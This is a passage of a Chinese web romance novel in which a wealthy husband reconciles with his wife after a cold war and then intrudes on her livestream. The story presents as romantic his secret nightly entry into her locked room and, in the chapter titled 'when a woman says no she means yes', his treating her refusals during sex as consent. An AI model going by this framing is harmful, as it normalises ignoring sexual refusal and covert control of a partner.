段衡阳后颈一凉,瞬间头皮发麻,赶紧上前拽住还想争辩的时雨,对着曲荷连连道歉。
他半拉半拽把人带离包厢。
包厢内只剩下他们三个人对峙着。
燕舒的脸色红了又白,最后变成惨淡的灰。
她用力掐着自己的掌心,挤出了一个比哭还难看的苦涩笑。
她看着庄别宴冷硬的眉眼,最后落在曲荷身上,“对不起,今天是我们不请自来,非常抱歉打扰了你们的聚会,我这就离开。”
她说着就要转身。
“站住。”
庄别宴的声音再次响起,态度强硬:“话没说清楚,谁允许你走了?”
燕舒脚下一顿。
庄别宴拉着曲荷的手紧了紧,盯着燕舒的背影,“我不想让任何莫须有的谣言,影响我们夫妻感情。”
燕舒缓缓转过身,眼眶泛红,噙着眼泪。
她看向庄别宴的眼神满是委屈和控诉。
“…..好。”
她像是用尽了全身力气才吐出这个字,声音破碎。
燕舒看向曲荷,一字一顿,好像每个字都是从心里剜出来的,“对、不、起。时雨的话让你误会了。”
她深吸一口气,眼泪终于滑落,“我和庄先生之间只是普通朋友关系,仅此而已。请你千万不要多想。”
说完,她看向庄别宴,声音颤抖,“这样可以了吗?庄先生。”
她抿着唇转身离开。
曲荷看着她离开的方向,心头那口刚散去的心又堵住了。
她那哪是什么澄清,分明是被逼到绝境,只能在庄别宴的强硬态度下,硬着头皮承认两人毫无关系。
而她那句只是普通朋友的解释,更是让曲荷觉得自己是个恶人。<
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br>说不清的烦躁涌上心头。
真没意思。
这种感觉糟透了。
就好像所有的一切都是她一个人在无理取闹,是他逼着庄别宴表态,逼着燕舒承认那段只是普通朋友的关系。
好像在他们那个所谓的英国朋友圈里,她才是那个后来者,插足者。
这顶莫名其妙扣上的帽子,让她感到无比疲惫。
曲荷下意识就想抽回被庄别宴握住的手,想要独自消化这种情绪。
可她的手才动了一下,庄别宴就像是早有预感一样,非但没有松手,反而握得更紧。
曲荷抬头看向身侧男人。
包厢内灯光昏暗,他的轮廓显得有些模糊。
他们明明隔着这么近,十指相扣,肌肤相贴,可曲荷还是觉得他们中间像是多了条无形的沟壑。
那头,是他或许真的存在,她不曾参与也无法理解的过去。
这头,是她莫名被卷入的,尴尬又难受的现在。
一种难以言喻的深深无力感包围住了她。
来之前的期待好奇,怼人时的快意在刚才那场疲惫的拉扯里消失殆尽。
曲荷叹了口气,移开目光,眼里只剩下一片淡漠,“回去吧,我累了。”
庄别宴没有任何犹豫,握紧她的手,“好。”
.....
车内一路沉寂。
曲荷偏头看着窗外流转的霓虹,一言不发。
庄别宴几次想开口说些什么,可都被她周身那层无形的冰冷屏障堵了回来。
到家后,曲荷换了鞋径直往里走,没给庄别宴半句解释机会。
庄别宴在后面跟着帮她把换下来的鞋子放进鞋柜,看着她的背影,心里闷闷的。
她在生气。
“阿荷,今晚的事...”他主动开口打破沉默,想上去拉她的手,却被她避开。
“嗯?”
曲荷扯了下嘴角,语气轻飘飘的,“什么事?其实你真的不用解释,就算你和燕舒真的有过什么,也没关系的。”
她耸耸肩,一副毫不在意的模样,“毕竟谁还没有个前任呢,对吧?都很正常,我能理解。”
庄别宴心凉了半截。
完了。
这开始说这种反话了,这气得怕是不轻。
庄别宴心里发慌,他宁可曲荷质问他,耍脾气,也不想现在这样,把情绪裹得严严实实,不让人靠近。
第122章 你和燕舒有没有在一起过
脚步声停在耳边。
熟悉的气息笼罩下来。
是庄别宴。
身体几乎是出于本能想靠过去寻求安慰,但念头一转,这些天冷战的委屈,难吃的外卖,他独坐整夜的孤寂..所有酸楚涌上心头。
曲荷硬生生逼着自己退回来。
她眼睛止不住流泪,疼得缩成一团还不忘推开他,“你走开。”
庄别宴被她的哭腔刺得生疼。
他不敢说这几晚他都是等她房间灯灭了,彻底睡熟了,才敢用备用钥匙偷偷开门进来看她。
看着她在梦里也是皱着眉翻来覆去,他却只能小心翼翼坐在床边,只敢碰碰被角,等她睡熟后,才敢贪恋地多看几眼,然后退出去。
今晚看她没吃几口饭,又喝了那么多冰的,根本睡不着。
在客厅坐了半宿,连灯都不敢看,直到听到她压抑的哽咽,才再也坐不住。
“阿荷,乖乖,是不是胃疼?”庄别宴放软了声音,卑微似的哄人。
刚碰到她的背,就感觉到她在发抖。
曲荷胡乱擦了把眼泪,一点点拉过被子把自己裹起来,连个眼神都不给,一点都不想和他说话的意思。
庄别宴隔着被子把她抱起来,手探进去覆上她的胃,小心翼翼揉着,“别怕,我在这儿。”
积攒了几天的委屈,身体的不适,在被他抱入怀中的这一刻彻底决堤。
曲荷用力推他,眼泪流得更凶,“你走开,我不要你管。”
庄别宴听着她带着哭腔的拒绝,心痛如绞,却将她抱得更紧。
他一手继续帮她揉着肚子,另一只手拿出手机发了个消息。
然后,他低下头贴着她的额头,一遍遍地低声哄着。
“我不要你,我要回家。”
“你别碰我。”
曲荷哭得委屈急了,伤人的话一句接着一句往庄别宴心里砸。
每一个字都像淬冰的针,扎得他浑身发冷。
心里那点阴暗和这几天压抑的情绪,彻底决堤。
他想起了她和周时安通话时的笑意,想起了这几晚偷偷看她时那种抓不住的恐慌,还有刚才推他时的抗拒和疏离。
庄别宴抱紧她,带着自己都没察觉的偏执和颤抖:“别离开我,阿荷,不能离开我,哪里都不准去....”
他怕,怕她真的走了,怕回到以前那种只能远远看着她的日子。
“我不...”
曲荷还想反驳,可是胃里的疼让她没了力气,只能靠在他怀里。
他的心脏剧烈跳动,胸膛随之起伏,滚烫又炽热,眼泪无声打湿两人的衣襟,也打湿了他那颗又疼又慌的心。
冰与火的温度交织,烙下深深的痕迹。
刻骨铭心...
或许是哭累了,曲荷抽泣声小了下去,意识逐渐模糊,最终在他怀里昏昏沉沉地睡了过去。
半梦半醒间,她感觉手背传来一丝轻微的刺痛,然后一股冰凉的液体注入血管。
.....
曲荷在暖意中转醒。
最先感受到的是后背贴着的胸膛。
她被人从身后紧紧拥在怀里,整个人被熟悉的气息完全包裹。
一只大手隔着睡衣,力道适中一下下地揉着。
是庄别宴。
颈后传来温热气息,拂过皮肤,带来细微战栗。
曲荷身体不自觉僵了一下,放在肚子上的手收紧了些。
空气中弥漫着微妙的沉默。
两人肌肤相贴,都知道对方已经醒了。
最终,还是庄别宴先开了口。
他的下巴轻轻蹭了蹭她头顶的发丝,小心翼翼地叫了声她的名字。
“阿荷。”
曲荷没有回应。
“胃还疼不疼?还有没有哪里不舒服?要不要喝点温水?还是想吃点什么,我去做。”
他一连串问题抛出来。
曲荷想起昨晚自己的狼狈和眼泪,心里那些委屈和别扭又泛了上来。
她抿了下唇,故意不回答,直接把他的手从肚子上拿开。
感受到她的抗拒和沉默,庄别宴的心像被拧了下,疼得发酸。
他没有松开手,反而把她抱得更紧。
曲荷挣扎了两下,像是出气似的往他腿上连踹带蹬踢了好几下,最后无奈放弃。
“阿荷,我去查了陶白白。”
他声音闷闷的,带着点笨拙的讨好:“他说双鱼和狮子确实偶尔会有小摩擦,可他们是天作之合,互补又长久,特别配,一点都不会犯冲。我们不冷战了,好不好?”
他小心翼翼地观察着她的反应,“阿荷,我错了。”
曲荷没回头,只是看着从窗帘缝里漏进来的光,心里酸酸涨涨,憋了好久的委屈又冒了头。
嘴硬的劲上来,却没再推开他,只是闷声说:“你错什么?我看你前几天看着我生闷气,不说话,是不是还觉得我在闹脾气呢。”
庄别宴轻轻揉着她的小腹,把人又往怀里揽紧了些,“没有,都是我不好。”
曲荷哼了一声,转过身面对他,眼睛因为昨晚
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哭过带着微肿:“庄别宴,你看着我这几天生闷气,不和你说话,不吃东西,心里是不是特别难受?”
庄别宴诚实点头,“难受。快疯了。”
这几天他都感觉自己只剩下了一句躯壳,心像是被挖掉了一块,空落落的,又冷又疼。
“那我什么都不知道,像个傻子一样被你们瞒在鼓里,听着别人意有所指的话猜来猜去,也是这个滋味!甚至更难受!”
曲荷越说越委屈,这几天的憋闷在心里的情绪一下子找到了宣泄口,全都倾泄出来。
“你明明可以告诉我的,可你就是什么也不说。难道在你眼里,我就那么不通情达理吗?”
庄别宴看着她泛红的眼圈,心尖像是被拧了一把,疼得厉害。
他伸手想碰碰她的脸,却被她躲开。
“不是,阿荷,你很好。都是我的错,是我怕你多想,怕解释不清,是我自以为是。”
庄别宴放低姿态道歉哄着,“阿荷,是我做得不好,你教教我,以后该怎么做好不好?我什么都听你的。”
“我才不想教你,你自己不会学吗?”
“学,你说我就学。”
听他这样说,曲荷吸了吸鼻子,嘴一撇,开始开始翻旧账,语气像抱怨,又像撒娇:
“外卖一点都不好吃....又油又腻,还贵!”
“晚上我都睡不好,床又硬又冷。”
“你明明知道我在生气,也不来哄我,就只会做一桌子菜诱惑我!看着我自己点难吃的外卖!”
“还有,我生气说不要你管的时候,你就不会硬凑过来吗?”
她越说越觉得委屈,眼圈又有点红。
庄别宴委屈回答,“你说不要,我以为你不想看见我。”
曲荷气得踢了下他的腿,“你难道不知道女生说不要的时候,很多时候就是要吗?这是基本常识啊!”
庄别宴看着她气鼓鼓的样子,心里软得一塌糊涂,赶紧认错,“是我太笨了,这门功课我一定补上。以后你说不要,我就立刻出现,你说走开,我就抱紧一点好不好?”
他又保证:“以后再也不让你吃外卖了,一日三餐我都做。晚上也一定抱着你睡,你生气我就哄,哄到你消气为止。”
曲荷心里那点委屈和别扭因为他这些承诺,听得有点想笑,但又强行忍住。
她强撑着最后一点架子,抬眼看他,问出了那个一直盘旋在心底的问题,“庄别宴,你和燕舒,之前到底有没有在一起过?”
第123章 女人说不要就是要
“没有。”
庄别宴没有任何迟疑。
斩钉截铁,目光坦诚。
甜丝丝的滋味从心底冒出,曲荷心里开始放小烟花。
但她嘴上却还是习惯性地逞强,偏过头,故作大度的嘟囔:“其实,就算你们真的在一起过也没什么,反正谁还没个前任呢,很正常。”
庄别宴被她这强装大度实则醋意满天飞的模样弄得心头发软。
他捧住她的脸,再次坚定地重复,语气无比认真,“没有在一起过,从来没有。阿荷,只有你。”
他顿了顿,继续解释:“在英国的时候,她父亲是我的司机,为人忠厚对我也很照顾。后来她家里出了点事,我看着他父亲情分,资助她完成了后续的学业,仅此而已。”
庄别宴轻轻握住她的手,“我和她之间,从未有过任何超出资助者与被资助者之外的关系。以前没有,现在没有,以后更不会有。你信我,阿荷。”
他说得很坦诚。
其实看他的态度,也能猜出他和燕舒之间没什么。
可亲口听到和自己臆想猜测还是不一样的。
曲荷心里那点别扭逐渐消散。
她抿了抿唇,这次终于不再嘴硬,主动往他怀里靠过去。
“嗯..知道了。那..再原谅你最后一次,下次,我就真的不要你了。”
“不会再有下一次。”
庄别宴心里的石头终于落地。
感受着怀里人重新变得柔软以来,眼里的笑意和宠溺也逐渐蔓延。
他收紧手臂,把她牢牢圈进自己的领地之内。
阳光洒满整个房间。
一室静好。
所有的误会和不安都在这个清晨化为了相互依偎的温暖。
......
冷战开始和结束都悄无声息。
傍晚回家,曲荷发现她放在次卧的东西全都被搬回了主卧。
她的睡衣,护肤品,甚至看了一半的书,都被整整齐齐放在了主卧原本的位置。
而除了主卧之外其他房间的门都被从外面。
厨房飘来香味。
庄别宴系着围裙在处理食材。
曲荷悄无声息走到他身后,冷不丁开口,“庄别宴,昨天晚上,你是怎么进我房间的?我明明反锁了。”
庄别宴握着刀的手顿了一下,没有回头。
曲荷溜到他身侧,可他背后像是生了眼睛。
故意躲她似的,她往左,他就右转去看锅里的汤,她转向右边,他又转回去拿调料。
曲荷心里起了火,烦躁。
一个跨步绕到他正前方,踮脚几乎怼到了他脸上。
“啪”一声,把他拿着菜的手按在了砧板上。
“说!到底怎么进来的?”
庄别宴看着近在咫尺的人,气鼓鼓瞪圆的眼睛,像只炸毛的小猫。
他心下一动,几乎是顺从本能低头。
曲荷在看到他低头那瞬间,就看穿了他的意图。
空着的那只手飞快抬起,一把捂住他即将落下的唇,“问你话呢,想什么呢!”
“想亲你。”庄别宴被她捂着嘴,声音有些闷。
可落在曲荷耳里,却异常清晰。
他那双深邃的眼眸此刻漾着毫不掩饰的渴望和笑意。
曲荷:“....”
他被他这直白的三个字砸得一愣一愣的,大脑宕机。
她心虚似地移开眼,可正好撞上他俯身时露出的锁骨。
他还穿着白天没来及换下的白衬衫,只是领口的纽扣解开了两颗,露出了一点锁骨。
衬衫外面系着黄色围裙,在后腰打了个简单的结,勾勒出宽肩窄腰。
这一副禁欲的模样居然和现在厨房里的烟火气奇妙融合,在加上他眼里那抹坏笑,曲荷感觉腰不自觉软了一下。
她的脸瞬间烧了起来,脑子里不受控制蹦出了些乱七八糟的想法。
心跳快得不像话,几乎就要被他眼底的深邃吸进去,被迷得有些五迷三道。
她晃了晃脑袋,强行把脑袋里那些黄色废料清出去,“别扯开话题。你说清楚,到底是怎么进房间的。”
庄别宴看着她泛红的耳根,弯了下唇。
他知道今天这怕是躲不过去了。
只好如实交代。
他抬手,把她捂在自己嘴上的手拿开,“其实,每个房间,我都有钥匙...”
“你说什么?”
曲荷听到他每晚都趁着自己入睡后开锁进房间,惊讶的倒吸一口冷气。
“你每晚都来我房间?...你这是什么习惯?庄别宴,我以前怎么没发现你还有这阴暗的一面呢?”
庄别宴轻笑,握着她的手,低头在她掌心轻轻吻了一下。
“现在你发现了,但是,晚了。”
他说得坦然,却丝毫没有被她看穿的慌张,甚至带着几分隐隐得意。
曲荷颤了下,肩膀不受控缩了下。
她抽回手,搓了搓被他亲过的掌心。
空气好像有些热,是厨房的火开太大了?
曲荷不敢再抬头看他。
“流氓!懒得理你!”
丢下这句话,她转身落荒而逃。
从那天起,曲荷慢慢感觉到了庄别宴身上被刻意掩饰的属性面。
他似乎撕下了他温润如玉的伪装,不再掩饰自己的强势和偏执,以及在某些方面的狠坏。
尤其是在情事上。
以前她喊累了他总会克制停下,即便意犹未尽也会以她的感受为先。
可自从冷战结束那天,她那句“不要就是要”,就好像打开了他身上的某个危险开关。
每次她喊累说不要了,他反而像是来劲了。
一场情事结束,空气里弥漫着暧昧气息。
曲荷伸出软趴趴的手,有气无力推了推身旁的男人,“庄别宴,我想睡了,不要来了..”
庄别宴把她额前被汗打湿的碎发拢到耳后,眼神幽深:“阿荷说过,不要了就是要。”
曲荷:“....”
不是,合适吗?
她那话是这么用的吗?
这么会举一反三,语文考
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试一定都是满分吧。
庄别宴看着她瞬间呆滞的模样,低笑出声,酥酥麻麻的笑声钻进耳朵,惹得曲荷后背一阵战栗。
“阿荷,我学得对吗?”他故意追问。
“....”
曲荷说不过他,又羞又恼在他肩膀上咬了口,留下浅浅的,圆圆的牙齿印。
庄别宴低头看了看那个印记,非但不恼,眼里的墨色反而更浓,笑意更深,好像那不只是个印记,而是个勋章。
他大手捞起她的腰,轻易把她的身子重新带入怀里。
低语声和呼吸声交织在一起,滚烫的呼吸落在耳旁。
“阿荷,那现在是要还是不要?”
“不..不要了..”曲荷下意识拒绝,声音发颤。
“不要?那就是要!”他故意曲解,暗示性极强。
“要..不要..”曲荷脑袋一团懵,逐渐语无伦次。
“要是吗?”
“....”
“阿荷怎么不说话了?”他的吻落在锁骨,“是我做的还不好吗?那你再教教我...”
“.....”
曲荷无言回怼,彻底失语。
所有的**都被他拆卸入腹,最后只能被他带着在情欲的海里再次沉浮。
这也以至于后面几天,每次听到“要不要”这三个字,曲荷都会条件反射,恨不得直接捂住他的嘴。
这天晚上,庄别宴刚把碗筷放进洗碗机,转头就看到曲荷从卧室换了套衣服出来。
她穿了条挂脖米色无袖雪纺裙,柔和的灯光衬得她皮肤白皙,整个人温婉动人。
庄别宴眼睛亮了一下,闪过一抹惊艳。
“阿荷,你....”他边说边走上前,搂着她的腰就要低头。
“打住!”曲荷警惕看了他一眼,退后一大步,双手还下意识护着胸前。
她拿起手机对着屏幕检查了遍脖子,看到没什么印记后松了口气。
“我晚上有直播,你别想那些有的没的。”她语气带着警告。
“直播?”庄别宴皱眉,看着她精心打扮的样子,话里带着酸味,“什么直播?”
“早上《成器》导演组给我打电话了,今晚正好播我录制的那期,他们让我参加陪看直播,和观众互动一下。”
曲荷看了眼手机上的时间,飞快敲击键盘回复消息。
她发完消息,抬头看着庄别宴,伸手,“我等会去书房直播,你把钥匙给我!”
庄别宴心里酸味更浓了,跟喝了醋一样不停冒泡。
他不情不愿拿来钥匙放在她掌心,“真要锁门?”
“必须锁!你有前科!你等会不要进来打扰我,听到没!”
曲荷不容拒绝,拿起钥匙转身就往书房走。
门被关上,甚至还传出了她从里面反锁的咔嗒声。
庄别宴站在原地,看着紧闭的门,听着书房里隐约传来的她带笑的声音,眼神逐渐幽深。
直播是么?
没听错的话,她刚才好像又说了“不要”.....
第124章 庄别宴在偷偷看直播
《成器》陪看直播开始前,有一个暖场环节。
开头是主持人和常驻嘉宾的互动,要等他们介绍完后,才会邀请飞行嘉宾曲荷连线。
曲荷第一次参与这种线上陪看直播,没有经验。
正常来讲只需要等主持人和嘉宾互动完后,提前五六分钟开直播就可以,可她却提前了足足快有半小时。
曲荷盯着手机屏幕,看着左上角不断增加的在线观看人数,从几百到几千再到破万,她手都在打颤。
节目组早早就发了预告,很多粉丝早已等在微博,一看到她提前开微博,全都涌了进来。
曲荷提前开直播这个消息一出,各大粉丝奔走相告,宴曲CP粉闻着味就来了。
看着左上角不断增加的人数,曲荷原本还打算趁着大家都没注意偷偷关掉直播,现在更是不敢了,只能在心里默默祈祷希望节目组快来连线。
【哇塞,提前了半小时。姐姐是怕我们等急了,所以提前和我们聊天吗?】
【奶奶,你磕的CP放饭啦。】
【天鲨地,这女人今天该死的美,这米色裙子简直天仙下凡。】
【居然只有曲荷一个人吗?我那么大的一个庄总呢?】
【曲荷姐姐是在家里直播吗?后面书架上那个摆钟不会就是半年前在苏黎世拍卖会上那个天价拍品吧?】
【是的!楼上你没看错!不仅是摆钟,还有那个毛笔架,八位数起。】
【等等,那个汽车乐高模型?官网不是说要下个月才开始预售吗?为什么会出现在这里?】
【预售?呵呵,有钱人的世界只有,我想要,我得到。】
屏幕上的弹幕刷得很快,上一秒刚看完问题,下一秒就被刷上去了。
曲荷也没想到大家会这么热情,有些不知手措。
但直播既然已经开了,也不好让大家白白等在这里,她学着在网络上那些主播的样子,努力回答着大家的问题。
“嗯,是的,在家里。”她声音温柔,带着几分紧张生涩。
她拿起手机转了个身,指着书架第二层的棕色摆钟,“你们是说这个吗?”
弹幕瞬间**:
【天呐,有生之年居然能这么近距离看到这个天价拍品。】
【这就是有钱人的生活吗?】
曲荷被大家夸张的言论逗笑了,翻转屏幕对着自己,有些不好意思解释,“其实我也不太懂这些,这是庄别宴的书房。”
【哇塞,庄总的书房?】
【曲荷姐姐,快快快,带你的电子姐妹们开开眼!】
【臣附议。】
【加一。】
曲荷忍俊不禁,看着屏幕上清一色的加一,“你们都想看吗?”
【想看!】
【北城顶级豪门,闻名的庄家玉树私人书房到底长什么样,我好奇**!】
看着满屏地求参观,曲荷看了眼时间,距离正式连线大概还有个二十分钟。
她笑了笑,“好吧,那就带你们看看。”
她翻转屏幕,像个小导游一样,带领大家参观起了庄别宴的书房。
“你们说的毛笔架是这个吗?好像摸起来确实很光滑。”
【让我摸摸沾沾豪门气息!隔着屏幕摸摸也可以啊!】
“莫比乌斯环摆件?我找找。哦,是那个吗?好像是上次他出国带回来的,说寓意不错。”
【莫比乌斯环是永无止境的爱啊!和姐姐手上的婚戒款式一样啊,我磕到了。】
“书架第二层的书?你们看得这么仔细吗?诶,你们怎么知道书内页有作者签名?”
【这可是岑大师的书啊!典藏版!】
“这个汽车模型?上周我和他一起拼的,但我只参与了百分之一,实在没有这方面天赋。”
【请问你们还缺新的拼模型搭子吗?我手很巧的,我不是来拆散这个家,是来融入你们的。】
曲荷看着网友弹幕,几乎是有求必应,每个都回答,慢慢地也拉近了和大家的距离。
一圈逛下来,回到座位。
她拿起水杯喝了口水,继续看弹幕:
【天空一声巨响,老奴闪亮登场!】
【先生,太太,老奴是你们素未谋面的的家生子啊!】
【知道庄别宴有钱,没想到他这么有钱!这才一个书房啊!为什么我在负重前行,原来有人在替我岁月静好
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。】
【干爹干妈!请允许我为你们养老~!】
【可以看下我的保姆间吗?门口的石狮子可以换成我和闺蜜吗?】
【姐姐姐姐,我一个月生活费1509元,给你花1314,剩下的188是我的身高。别问为什么少了7块,因为我对你爱被判了无期徒刑。[爱心JPG]】
【楼上,你好不要脸!居然敢当着庄总的面撬墙角!】
【那咋了,庄别宴已经三十了!而我才二十三,正是最有实力的年纪。[wink]JPG】
【你是不是二十三我不知道,但我知道你很快就会被庄总追杀,只能活到二十三。】
曲荷看着这些好玩的弹幕,还是没忍住笑了出来,“没事,他应该抓不到你,我把房间反锁了,钥匙还在我手上。”
说着她拿起钥匙得意地在镜头前晃了晃。
这时,书房门外清晰地传来东西碎裂的脆响,像是什么玻璃水杯摔碎的声音。
曲荷愣了下,随即像是明白了什么,嘴角止不住上扬。
而她这一笑,衬得她整个人愈发明媚。
【我刚才好像听到了什么东西碎的声音,姐姐没事吧?】
【姐姐,我现在就蹬着我的共享单车过来保护你。】
曲荷读了下这条弹幕,轻笑出声。
她目光意有所指看向书房门的方向,声音不大却字字清晰:“我没事,应该是有人不小心摔碎了什么杯子吧。”
她说这句话的时候,直直盯着屏幕,好像是在看着某个人说的,像是笃定那头有个人一定会听到。
门外,庄别宴靠在墙上,手机屏幕亮着,上面赫然是曲荷的直播界面,而脚底下是碎了一地的玻璃碎片和溅开的水渍。
直播间观众自带显微镜,听着她的话,立刻明白了什么。
【有人?是谁?我猜是不是某个庄姓男人?】
【该不会这个男人,也在偷偷看直播吧?然后看到有人表白曲荷姐,看到满屏的老婆,吃醋了气得捏碎了杯子?】
【楼上big胆!怎么说话呢!庄总那是不小心手滑了!下次一定要握紧杯子哦(狗头保命)。】
第125章 庄别宴“破门而入”
在场所有人都心知肚明说的人是谁,但都很默契提那个名字,所有人心照不宣玩着梗,气氛欢乐。
曲荷一开始还有些紧张,但是看着大家都没有恶意,每个人都很可爱,也慢慢放下心防和大家聊起了家常。
直播间里的观众很快就发现曲荷基本上对他们有求必应,每个问题都会认真回答。
慢慢地,有些胆子大的网友就开始要求互动了。
【姐姐姐姐,和我对视三秒吧,我会幸福100天。】
曲荷认真看向镜头,眼神温柔:“那我和你对视10.95秒,希望你365天都能幸福开心。”
【姐姐戳戳脸颊肉,想看脸颊比心。】
曲荷回忆着网上看到的姿势,生疏地举起手,在脸颊旁比了半个心,“是这样吗?”
【姐姐,朝我心口开一枪吧。】
“那你会受伤诶。”
曲荷捂住自己心口,蹙眉歪头,表情无辜:“我会心痛的。”
直播间里的粉丝本以为可以撩到曲荷,却没想到被她反撩一把,一时间弹幕评论瞬间沸腾:
【啊啊啊啊,我恨为什么我不是个男的!】
【我是大学生给我亲一口求求了,我是大学生给我亲一口求求了!(扭曲爬行)】
【姐姐开门,我是姐夫。】
【此女绝非善类,钓我只需勾勾手。】
【刚玩这个软件不太懂,请问是只要把赞点了就可以结婚了吗?】
【第一眼女生,第二眼余生,第三眼和我相伴一生,第四眼六斤八两已生。】
看着网上清一色的彩虹屁弹幕,曲荷面色再镇定,但泛红的耳根还是出卖了她。
屏幕上的【你好,结婚】这句话已经99+了。
曲荷脸有点烧起来了。
她移开视线,下意识想拿起水杯掩饰害羞,却在抬眼瞬间,无意瞥见书房门下的缝隙里,有一道影子来回轻微移动了一下。
屏幕上网友们又开始新一轮彩虹屁,曲荷都快招架不住了。
好在节目组的连线邀请及时发了过来。
曲荷松了口气,对着镜头道别:“陪看直播马上开始了,那今天和大家先聊到这里,我们等会直播间见哦。”
《成器》陪看直播为了沉浸式观看,关闭了弹幕互动,粉丝们纷纷哀嚎:
【啊啊啊这么快吗?不是还有五分钟才切画面吗?】
【刚从主直播间回来。我只能说,某人应该下手段了,主持人后面的语速跟开了八倍速一样。中国有嘻哈,《成器》有rapper!】
【资本的力量啊!(点烟jpg),果然,北城掉下一块硬币,正反都刻着庄字。】
【我生气了!某人天天在家看不够,醋意也太大了。】
曲荷看着网友这些弹幕,心里立刻明白了大概,想来应该是庄别宴推快了流程。
心里好气又好笑,骂了句幼稚鬼。
她叹了口气,无奈道:“确实时间快到了,那要不这样,下次有机会我单独开个直播和你们聊天可以吗?”
【真没骨气啊我,就这么被哄好了。】
【好,说定了!下次咱们瞒着某人偷偷开,搞地下情!】
曲荷轻笑,“好。”
她挥手和大家道别,点了同意连线邀请后,下一秒,屏幕一分为四。
其他三个分别是主持人和两个节目常驻嘉宾。
这期陪看的常驻嘉宾是曲荷非常熟悉的唐甜,还有一个是之前在节目打过交道的男大学生,好像叫任丁。
一期节目约莫一个半小时,陪看直播分上下两个半场,中间会穿插一个休息互动时间。
上半期陪看结束后,到了互动时间,导演组又打开了弹幕。
大家先后分享了一些录制时的趣事,曲荷被带入,听得津津有味。
她顺手拿过水杯想喝水,才发现杯子里的水已经见底了。
主持人正好在这个时候cue到她。
“曲荷老师,《成器》节目播出后引发了更多人对陶艺的关注,对此您有什么想分享的吗?”
曲荷双手合十,微微点头感谢,“非常大家的支持和支持,我们会更加努力。”
主持人顺势追问,“刚才任丁有分享说,您在录制时帮他指导过参赛作品,听说他还是您的直系学弟?”
曲荷看着左上角窗口里清秀大男生,笑着点头,“是的。但说指导还是太夸张了,任丁的作品本身就很优秀,听说还拿了金奖?很棒哦,学弟。”
她对着镜头比了个大拇指。
而画面里,任丁的脸肉眼可见地红了,眼神都有些飘忽。
他不好意思低下头,“谢谢学姐鼓励,我会继续努力的。”
憋了快四十分钟不能发弹幕的曲荷粉丝,因为这一互动瞬间被点燃了,纷纷开始飘屏:
【哇塞,这个小哥
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哥脸红了。】
【姐姐,说好的只撩我们呢?女人,我生气了。】
【这节目我每期不落,我用粉籍保证,这个任丁是曲荷唯粉!绝对喜欢她!他看姐姐的眼神根本藏不住!】
【哈哈哈哈,庄总,你的情敌又多了一个,还是年轻款的。】
【霸总固然牛逼,但清纯男大才是人间宝藏啊!】
【小哥哥小哥哥别灰心,你还年轻,还有机会,未来可期。】
【前面的你们小心点!某庄姓男人说不准在屏幕前拿笔一个个记你们ID呢。】
【那咋了?曲荷姐姐已经把书房门反锁了,略略略~】
眼看着弹幕逐渐被带跑,主持人赶紧笑着控场。
曲荷也压下嘴角笑意,继续回答他的问题。
就在这时,一道细微的开锁声响起。
“咔哒。”
下一秒,书房门从外被打开。
曲荷说到一半的话堵在了喉咙里,睁大眼惊讶地看向门口。
看着站在门口的男人,她都以为出现了错觉。
明明吃晚饭的时候,他穿着的还是那套深灰色家居服,怎么现在....
庄别宴一身剪裁得体白衬衫黑西装,黑发全部向后梳起,鼻梁上架着一副银色无框眼镜,显得那双本就幽深的双眸更加难测。
书房暖色的灯光落在他身上,周身像被镀了层矜贵的光晕。
他单手握着个装满水的玻璃杯,水波轻轻摇晃,另一只手自然垂在身侧,修长的食指懒洋洋勾着一枚熟悉的钥匙。
哪里来的钥匙?
曲荷一头思绪混乱,没等她反应过来,庄别宴随手一抛,钥匙精准落在旁边架子上的小瓷碗里,发出“叮”一声脆响。
他迈开长腿,不紧不慢踱步上前。
薄底皮鞋在木地板上发出沉稳响声,一声又一声,慢慢逼近。
窗外适时掠过一阵夜风,吹得窗纱轻轻拂动,连带着书房里的光影也随之摇曳。
他走的每一步都像是踩在曲荷心上,心跳不由自主跟着那节奏越跳越快。
屏幕里的观众也听到了这个不寻常的动静。
【嗯?什么声音?我好像听到了开门声和脚步声。】
【曲荷表情不对,发生什么事了?】
【我有个大胆的猜想....】
下一秒,一双骨节分明带着曲荷同款婚戒的手,毫无预兆从镜头前横入画面。
第126章 登堂**,宣誓**
挺括的黑色西装袖口,因为他伸手这个动作微微紧绷,勾勒出了手臂线条。
那双手目的明确,把满满一杯水放在曲荷手边,然后自然地取走了那个空杯。
曲荷僵硬转头,看他,“你...你怎么...”
庄别宴闻言,往前靠了靠,微微俯身,腰部以下恰好入镜,声音由上传来:“来给你加点水。”
他这句话一出,弹幕彻底疯狂。
【靠靠靠!他怎么进来的?不是说反锁了吗?】
【重点错了姐妹们!重点是曲荷刚才拿水发现是空的,他就进来了!这说明什么,说明他一直在看直播!他什么都知道!】
【这个男人心机好重!先是在外面故意摔水杯,又借口加水进来。】
【来了来了,这个男人带着他188身高进来宣誓**了(斯哈斯哈)。】
【谁家好**晚上在家还穿西装三件套啊?哦,是庄总啊,那没事了。】
【救命!这种禁欲霸总私下偏执控妻的设定太好磕了!】
【曲荷:我锁门了。庄总:我自有办法。】
看着屏幕上的弹幕还有飙升的观看人数,曲荷一整都是没反应过来的状态,满脑子都是他哪里来的钥匙?
可现在是在直播,她不好当面问,只能在桌子底下踢了他一脚,眼神示意他快走。
只是她忽略了自己的力道,在男人面前,这一脚无异于小猫挠痒痒。
他非但没走,桌子底下的右脚自然抬起,顺势夹住了她作乱的脚踝,压在**,压制住了她的动作,让她动弹不得。
桌面上,他依旧是那个矜贵的庄总。
桌面下,却是不容挣脱的温柔禁锢。
曲荷没想到他这么嚣张,可她却不敢用力挣脱,怕观众发现什么,只能希望庄别宴赶紧出去。
但庄别宴像是来了劲,进来了就没有打算走的意思。
他扫了眼直播的手机,手往旁边一拉,把沉木扶手椅拖近,非常自然地坐在了她侧后方。
庄别宴半个身子入了曲荷直播画面左下角,从脖颈到包裹在西装里劲瘦的腰胯区域。
因为没有露脸,反而更添了几分神秘和遐想,挠得人心痒痒。
他坐下后,慢条斯理解开了西装外套正中间的扣子,随后双手交叉相扣,随意地搭在大腿上。
周身散发着禁欲又疏离的气场,上位者的姿态展露无疑。
他就这样安静地坐在曲荷身后,像座沉默的靠山,又像一个无处不在的烙印,无声地向屏幕前后的所有人宣告着他的存在和**。
弹幕彻底疯了:
【法拉利老了也还是法拉利啊!】
【我的竞选宣言是,我要是能谈上这样的,在座的各位姐妹一人五个!】
【禁欲霸总在线盯妻,这是我能免费看的吗?】
【谁懂!谁懂!庄总那个拖椅子,解扣子的动作,怎么会这么贵气!手控福利啊!】
